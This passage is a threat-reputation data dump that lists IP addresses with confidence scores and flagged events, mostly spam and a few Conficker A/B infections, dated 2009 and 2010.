11:59:00 2009 GMT\r\n\r\nIP : 20.74.0.228\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 14 10:59:00 2009 GMT\r\n\r\nIP : 20.196.0.82\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 04:59:00 2009 GMT\r\n\r\nIP : 20.121.251.238\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 03:59:00 2009 GMT\r\n\r\nIP : 20.158.0.64\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar  6 11:59:00 2009 GMT\r\n\r\nIP : 20.109.255.173\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 14:59:00 2009 GMT\r\n\r\nIP : 20.134.3.147\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 09:59:00 2009 GMT\r\n\r\nIP : 20.134.4.72\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 21:59:00 2009 GMT\r\n\r\nIP : 20.62.9.193\r\nConfidence : 65.596826%\r\nEvents : \r\n	Spam : Tue May  4 21:59:00 2010 GMT\r\n\r\nIP : 20.220.9.116\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar  7 10:59:00 2009 GMT\r\n\r\nIP : 20.158.4.0\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb 16 06:59:00 2009 GMT\r\n\r\nIP : 20.232.15.156\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Oct 30 17:59:00 2009 GMT\r\n\r\nIP : 20.86.6.233\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 16:59:00 2009 GMT\r\n\r\nIP : 20.196.13.192\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 16 09:59:00 2009 GMT\r\n\r\nIP : 20.208.21.155\r\nConfidence : 67.231044%\r\nEvents : \r\n	Spam : Mon May 10 15:59:00 2010 GMT\r\n\r\nIP : 20.244.27.49\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 13:59:00 2009 GMT\r\n\r\nIP : 20.86.22.48\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 11:59:00 2009 GMT\r\n\r\nIP : 20.38.33.66\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 14 00:59:00 2009 GMT\r\n\r\nIP : 20.74.32.103\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 05:59:00 2009 GMT\r\n\r\nIP : 20.134.32.1\r\nConfidence : 10%\r\nEvents : \r\n	Conficker A/B : Mon May  4 22:09:38 2009 GMT\r\n\r\nIP : 20.134.32.21\r\nConfidence : 10%\r\nEvents : \r\n	Conficker A/B : Wed Mar 11 09:33:20 2009 GMT\r\n\r\nIP : 20.14.194.59\r\nConfidence : 56.651853%\r\nEvents : \r\n	Spam : Thu Apr  8 10:59:00 2010 GMT\r\n\r\nIP : 20.98.32.2\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 08:59:00 2009 GMT\r\n\r\nIP : 20.74.39.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar  6 10:59:00 2009 GMT\r\n\r\nIP : 20.172.45.38\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar  6 10:59:00 2009 GMT\r\n\r\nIP : 20.38.44.187\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Jan 22 07:59:00 2009 GMT\r\n\r\nIP : 20.244.47.2\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 11:59:00 2009 GMT\r\n\r\nIP : 20.220.46.70\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 20:59:00 2009 GMT\r\n\r\nIP : 20.184.51.103\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Nov  1 11:59:00 2009 GMT\r\n\r\nIP : 20.232.56.224\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 10 19:59:00 2009 GMT\r\n\r\nIP : 20.14.210.211\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 19 08:59:00 2009 GMT\r\n\r\nIP : 20.122.48.104\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 12:59:00 2009 GMT\r\n\r\nIP : 20.184.58.160\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 17 09:59:00 2009 GMT\r\n\r\nIP : 20.38.64.104\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 09:59:00 2009 GMT\r\n\r\nIP : 20.134.59.123\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 21:59:00 2009 GMT\r\n\r\nIP : 20.244.66.63\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 14:59:00 2009 GMT\r\n\r\nIP : 20.110.59.156\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 21 16:59:00 2009 GMT\r\n\r\nIP : 20.232.71.38\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 08:59:00 2009 GMT\r\n\r\nIP : 20.208.70.176\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 05:59:00 2009 GMT\r\n\r\nIP : 20.232.75.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 05:59:00 2009 GMT\r\n\r\nIP : 20.146.78.12\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan 10 05:59:00 2009 GMT\r\n\r\nIP : 20.134.78.166\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 20 22:59:00 2009 GMT\r\n\r\nIP : 20.50.86.253\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 00:59:00 2009 GMT\r\n\r\nIP : 20.184.80.64\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 18 23:59:00 2009 GMT\r\n\r\nIP : 20.86.76.208\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 12:59:00 2009 GMT\r\n\r\nIP : 20.208.87.154\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar  7 05:59:00 2009 GMT\r\n\r\nIP : 20.134.84.157\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 18 00:59:00 2009 GMT\r\n\r\nIP : 20.196.86.40\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 23:59:00 2009 GMT\r\n\r\nIP : 20.196.91.7\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 20.62.97.70\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 09:59:00 2009 GMT\r\n\r\nIP : 20.74.95.140\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 17:59:00 2009 GMT\r\n\r\nIP : 20.50.104.76\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 03:59:00 2009 GMT\r\n\r\nIP : 20.172.106.68\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 14 12:59:00 2009 GMT\r\n\r\nIP : 20.208.105.224\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 01:59:00 2009 GMT\r\n\r\nIP : 20.122.96.123\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 20:59:00 2009 GMT\r\n\r\nIP : 20.26.115.134\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 21 04:59:00 2009 GMT\r\n\r\nIP : 20.146.114.35\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 17:59:00 2009 GMT\r\n\r\nIP : 20.244.117.238\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 10 16:59:00 2009 GMT\r\n\r\nIP : 20.184.126.202\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 21:59:00 2009 GMT\r\n\r\nIP : 20.220.131.155\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 06:59:00 2009 GMT\r\n\r\nIP : 20.74.132.156\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 17 11:59:00 2009 GMT\r\n\r\nIP : 20.172.140.238\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 15 21:59:00 2009 GMT\r\n\r\nIP : 20.74.140.169\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Sep 23 19:59:00 2009 GMT\r\n\r\nIP : 20.122.132.217\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 11:59:00 2009 GMT\r\n\r\nIP : 20.15.44.123\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 02:59:00 2009 GMT\r\n\r\nIP : 20.98.140.6\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 14 19:59:00 2009 GMT\r\n\r\nIP : 20.158.141.72\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan 27 06:59:00 2009 GMT\r\n\r\nIP : 20.232.156.88\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 22:59:00 2009 GMT\r\n\r\nIP : 20.158.144.84\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 23:59:00 2009 GMT\r\n\r\nIP : 20.62.156.167\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 06:59:00 2009 GMT\r\n\r\nIP : 20.86.148.202\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 15 01:59:00 2009 GMT\r\n\r\nIP : 20.196.159.64\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 23:59:00 2009 GMT\r\n\r\nIP : 20.86.150.1\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Dec 18 19:59:00 2009 GMT\r\n\r\nIP : 20.134.158.136\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 07:59:00 2009 GMT\r\n\r\nIP : 20.134.161.153\r\nConfidence : 72.391871%\r\nEvents : \r\n	Spam : Wed Jun  2 18:59:00 2010 GMT\r\n\r\nIP : 20.38.168.1\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 20.122.159.253\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan  4 05:59:00 2009 GMT\r\n\r\nIP : 20.110.160.188\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 15:59:00 2009 GMT\r\n\r\nIP : 20.146.170.136\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 24 01:59:00 2009 GMT\r\n\r\nIP : 20.158.163.0\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 06:59:00 2009 GMT\r\n\r\nIP : 20.50.179.177\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 04:59:00 2009 GMT\r\n\r\nIP : 20.208.176.106\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 15 07:59:00 2009 GMT\r\n\r\nIP : 20.158.172.235\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar  7 15:59:00 2009 GMT\r\n\r\nIP : 20.110.184.108\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 22 15:59:00 2009 GMT\r\n\r\nIP : 20.74.191.172\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 23:59:00 2009 GMT\r\n\r\nIP : 20.86.184.112\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 10:59:00 2009 GMT\r\n\r\nIP : 20.38.193.189\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 20.196.194.88\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 20.184.196.114\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 06:59:00 2009 GMT\r\n\r\nIP : 20.134.199.102\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  1 01:59:00 2009 GMT\r\n\r\nIP : 20.184.201.19\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 20.208.206.229\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 23:59:00 2009 GMT\r\n\r\nIP : 20.220.201.110\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 02:59:00 2009 GMT\r\n\r\nIP : 20.122.195.50\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 12:59:00 2009 GMT\r\n\r\nIP : 20.232.212.248\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 20 20:59:00 2009 GMT\r\n\r\nIP : 20.172.212.16\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 21:59:00 2009 GMT\r\n\r\nIP : 20.220.206.38\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 18 02:59:00 2009 GMT\r\n\r\nIP : 20.98.202.83\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 20 11:59:00 2009 GMT\r\n\r\nIP : 20.38.212.4\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan 10 23:59:00 2009 GMT\r\n\r\nIP : 20.50.225.34\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 23 06:59:00 2009 GMT\r\n\r\nIP : 20.196.215.237\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 01:59:00 2009 GMT\r\n\r\nIP : 20.146.227.233\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 20.208.232.190\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 02:59:00 2009 GMT\r\n\r\nIP : 20.122.224.75\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar  6 11:59:00 2009 GMT\r\n\r\nIP : 20.220.237.17\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 21:59:00 2009 GMT\r\n\r\nIP : 20.50.247.134\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 14 21:59:00 2009 GMT\r\n\r\nIP : 20.38.239.22\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 03:59:00 2009 GMT\r\n\r\nIP : 20.62.240.24\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 15:59:00 2009 GMT\r\n\r\nIP : 20.146.255.167\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 03:59:00 2009 GMT\r\n\r\nIP : 20.62.253.34\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Jan  8 23:59:00 2009 GMT\r\n\r\nIP : 20.51.9.136\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 12:59:00 2009 GMT\r\n\r\nIP : 20.98.251.239\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 16 21:59:00 2009 GMT\r\n\r\nIP : 20.185.4.42\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 07:59:00 2009 GMT\r\n\r\nIP : 20.197.10.94\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 09:59:00 2009 GMT\r\n\r\nIP : 20.209.18.72\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 16:59:00 2009 GMT\r\n\r\nIP : 20.185.14.250\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Sep 20 10:59:00 2009 GMT\r\n\r\nIP : 20.15.177.125\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan 20 22:59:00 2009 GMT\r\n\r\nIP : 20.221.25.181\r\nConfidence : 73.354734%\r\nEvents : \r\n	Spam : Tue Jun  8 19:59:00 2010 GMT\r\n\r\nIP : 20.147.25.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar  6 02:59:00 2009 GMT\r\n\r\nIP : 20.51.35.162\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb 16 07:59:00 2009 GMT\r\n\r\nIP : 20.173.34.201\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 18:59:00 2009 GMT\r\n\r\nIP : 20.87.25.22\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 16:59:00 2009 GMT\r\n\r\nIP : 20.185.44.184\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 30 22:59:00 2009 GMT\r\n\r\nIP : 20.135.46.57\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Nov 21 00:59:00 2009 GMT\r\n\r\nIP : 20.245.52.228\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 20.99.49.11\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 08:59:00 2009 GMT\r\n\r\nIP : 20.173.56.140\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 06:59:00 2009 GMT\r\n\r\nIP : 20.221.56.61\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 02:59:00 2009 GMT\r\n\r\nIP : 20.63.65.60\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Nov 11 15:59:00 2009 GMT\r\n\r\nIP : 20.233.75.114\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 02:59:00 2009 GMT\r\n\r\nIP : 20.51.80.83\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Dec 20 01:59:00 2009 GMT\r\n\r\nIP : 20.51.82.5\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar  6 06:59:00 2009 GMT\r\n\r\nIP : 20.147.74.175\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 01:59:00 2009 GMT\r\n\r\nIP : 20.27.81.16\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 05:59:00 2009 GMT\r\n\r\nIP : 20.27.87.5\r\nConfidence : 63.638114%\r\nEvents : \r\n	Spam : Sat May  1 04:59:00 2010 GMT\r\n\r\nIP : 20.39.82.222\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 17:59:00 2009 GMT\r\n\r\nIP : 20.99.81.218\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 21:59:00 2009 GMT\r\n\r\nIP : 20.233.91.34\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 17 14:59:00 2009 GMT\r\n\r\nIP : 20.173.89.131\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Nov 18 23:59:00 2009 GMT\r\n\r\nIP : 20.87.84.90\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 12 10:59:00 2009 GMT\r\n\r\nIP : 20.99.88.249\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 11:59:00 2009 GMT\r\n\r\nIP : 20.221.93.82\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 03:59:00 2009 GMT\r\n\r\nIP : 20.209.97.223\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 10:59:00 2009 GMT\r\n\r\nIP : 20.51.104.22\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 19:59:00 2009 GMT\r\n\r\nIP : 20.111.97.119\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 00:59:00 2009 GMT\r\n\r\nIP : 20.16.5.185\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 11:59:00 2009 GMT\r\n\r\nIP : 20.111.105.124\r\nConfidence : 68.375574%\r\nEvents : \r\n	Spam : Mon May 17 14:59:00 2010 GMT\r\n\r\nIP : 20.123.120.198\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 21 23:59:00 2009 GMT\r\n\r\nIP : 20.27.140.197\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Apr 28 23:59:00 2009 GMT\r\n\r\nIP : 20.233.144.92\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  9 17:59:00 2009 GMT\r\n\r\nIP : 20.185.147.141\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 19:59:00 2009 GMT\r\n\r\nIP : 20.221.148.54\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 11 10:59:00 2009 GMT\r\n\r\nIP : 20.27.161.149\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 20.197.152.117\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 22:59:00 2009 GMT\r\n\r\nIP : 20.147.156.14\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan  3 08:59:00 2009 GMT\r\n\r\nIP : 20.197.155.246\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 14:59:00 2009 GMT\r\n\r\nIP : 20.221.160.216\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  1 22:59:00 2009 GMT\r\n\r\nIP : 20.185.167.46\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 23:59:00 2009 GMT\r\n\r\nIP : 20.75.171.141\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 03:59:00 2009 GMT\r\n\r\nIP : 20.245.172.25\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 09:59:00 2009 GMT\r\n\r\nIP : 20.147.170.65\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 12:59:00 2009 GMT\r\n\r\nIP : 20.99.168.165\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan  9 09:59:00 2009 GMT\r\n\r\nIP : 20.147.170.237\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 19:59:00 2009 GMT\r\n\r\nIP : 20.87.166.80\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 07:59:00 2009 GMT\r\n\r\nIP : 20.63.176.152\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 12:59:00 2009 GMT\r\n\r\nIP : 20.87.176.98\r\nConfidence : 74.054931%\r\nEvents : \r\n	Spam : Mon Jun 14 07:59:00 2010 GMT\r\n\r\nIP : 20.209.193.23\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Nov 14 11:59:00 2009 GMT\r\n\r\nIP : 20.87.181.110\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 20.197.184.228\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 10 04:59:00 2009 GMT\r\n\r\nIP : 20.233.200.230\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 00:59:00 2009 GMT\r\n\r\nIP : 20.39.192.190\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Apr 29 15:59:00 2009 GMT\r\n\r\nIP : 20.197.190.214\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan 17 11:59:00 2009 GMT\r\n\r\nIP : 20.63.197.150\r\nConfidence : 22.153724%\r\nEvents : \r\n	Spam : Mon Feb  1 17:59:00 2010 GMT\r\n\r\nIP : 20.75.200.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 20 20:59:00 2009 GMT\r\n\r\nIP : 20.135.198.157\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 09:59:00 2009 GMT\r\n\r\nIP : 20.159.197.14\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 08:59:00 2009 GMT\r\n\r\nIP : 20.123.197.205\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 20:59:00 2009 GMT\r\n\r\nIP : 20.209.221.46\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan  9 00:59:00 2009 GMT\r\n\r\nIP : 20.39.218.127\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 04:59:00 2009 GMT\r\n\r\nIP : 20.27.227.38\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 13:59:00 2009 GMT\r\n\r\nIP : 20.197.217.54\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 20.39.225.124\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Oct 21 17:59:00 2009 GMT\r\n\r\nIP : 20.99.224.9\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb 23 03:59:00 2009 GMT\r\n\r\nIP : 20.147.225.215\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 00:59:00 2009 GMT\r\n\r\nIP : 20.159.225.235\r\nConfidence : 66.784934%\r\nEvents : \r\n	Spam : Wed May 12 13:59:00 2010 GMT\r\n\r\nIP : 20.16.131.243\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 11:59:00 2009 GMT\r\n\r\nIP : 20.173.237.218\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar  7 08:59:00 2009 GMT\r\n\r\nIP : 20.147.236.234\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 00:59:00 2009 GMT\r\n\r\nIP : 20.135.236.211\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 20.87.232.216\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 13:59:00 2009 GMT\r\n\r\nIP : 20.185.250.143\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 03:59:00 2009 GMT\r\n\r\nIP : 20.76.2.69\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 20:59:00 2009 GMT\r\n\r\nIP : 20.174.6.91\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Aug 18 11:59:00 2009 GMT\r\n\r\nIP : 20.136.0.119\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  1 13:59:00 2009 GMT\r\n\r\nIP : 20.100.4.120\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 11:59:00 2009 GMT\r\n\r\nIP : 20.28.14.5\r\nConfidence : 21.604096%\r\nEvents : \r\n	Spam : Sun Jan 31 05:59:00 2010 GMT\r\n\r\nIP : 20.148.10.116\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 18:59:00 2009 GMT\r\n\r\nIP : 20.160.8.62\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 17 22:59:00 2009 GMT\r\n\r\nIP : 20.210.30.33\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 20.76.24.54\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Aug  8 10:59:00 2009 GMT\r\n\r\nIP : 20.186.27.220\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 09:59:00 2009 GMT\r\n\r\nIP : 20.246.26.178\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Nov  6 07:59:00 2009 GMT\r\n\r\nIP : 20.174.31.159\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 05:59:00 2009 GMT\r\n\r\nIP : 20.136.24.134\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 10:59:00 2009 GMT\r\n\r\nIP : 20.16.183.52\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar  6 19:59:00 2009 GMT\r\n\r\nIP : 20.124.24.97\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 17 12:59:00 2009 GMT\r\n\r\nIP : 20.160.24.158\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 14 15:59:00 2009 GMT\r\n\r\nIP : 20.124.30.255\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 15 01:59:00 2009 GMT\r\n\r\nIP : 20.198.32.143\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 16:59:00 2009 GMT\r\n\r\nIP : 20.136.38.115\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 08:59:00 2009 GMT\r\n\r\nIP : 20.246.42.126\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 18:59:00 2009 GMT\r\n\r\nIP : 20.246.44.206\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan  9 13:59:00 2009 GMT\r\n\r\nIP : 20.136.44.160\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 17 07:59:00 2009 GMT\r\n\r\nIP : 20.100.46.131\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 20.16.204.235\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 00:59:00 2009 GMT\r\n\r\nIP : 20.100.50.54\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 13:59:00 2009 GMT\r\n\r\nIP : 20.16.208.234\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  8 00:59:00 2009 GMT\r\n\r\nIP : 20.136.54.84\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 